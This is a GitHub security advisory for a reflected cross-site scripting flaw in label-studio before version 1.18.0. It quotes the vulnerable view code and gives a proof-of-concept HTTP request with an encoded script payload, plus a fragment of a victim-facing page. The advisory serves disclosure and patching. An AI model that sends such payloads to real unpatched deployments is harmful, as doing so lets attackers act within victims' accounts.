GitHub Advisoryadvisory · PyPI
GHSA-8jhr-wpcm-hh4h label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
HIGH
Official page ↗
- Aliases
- CVE-2025-47783
- Ecosystem
- PyPI
- Packages
- label-studio
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
- Weaknesses
- CWE-79
- Reviewed
- 2025-05-15
Affected packages
• PyPI label-studio: < 1.18.0 → fixed in 1.18.0
Description
Summary
The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details
The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.
```python
39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41: """Generate upload data example by config only"""
42: config = request.POST.get('label_config', '')
43:
44: org_pk = get_organization_from_request(request)
45: secure_mode = False
46: if org_pk is not None:
47: org = generics.get_object_or_404(Organization, pk=org_pk)
48: secure_mode = org.secure_mode
49:
50: try:
51: Project.validate_label_config(config)
52: task_data, _, _ = get_sample_task(config, secure_mode)
53: task_data = playground_replacements(request, task_data)
54: except (ValueError, ValidationError, lxml.etree.Error):
55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56: else:
57: response = HttpResponse(json.dumps(task_data))
58: return response
```
The vulnerability is specifically located in line 57, where HttpResponse is used.
```python
57: response = HttpResponse(json.dumps(task_data))
```
PoC
Send the following request after changing the `{host}` to your own.
```css
POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e
```
Or you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.
```html
history.pushState('', '', '/');
document.forms[0].submit();
```
Impact
• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Related
Alias · CVE (1)
- CVE-2025-47783 Label Studio is a multi-type data labeling and annotation tool. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h web
- https://nvd.nist.gov/vuln/detail/CVE-2025-47783 advisory
- https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d web
- https://github.com/HumanSignal/label-studio package
- https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml web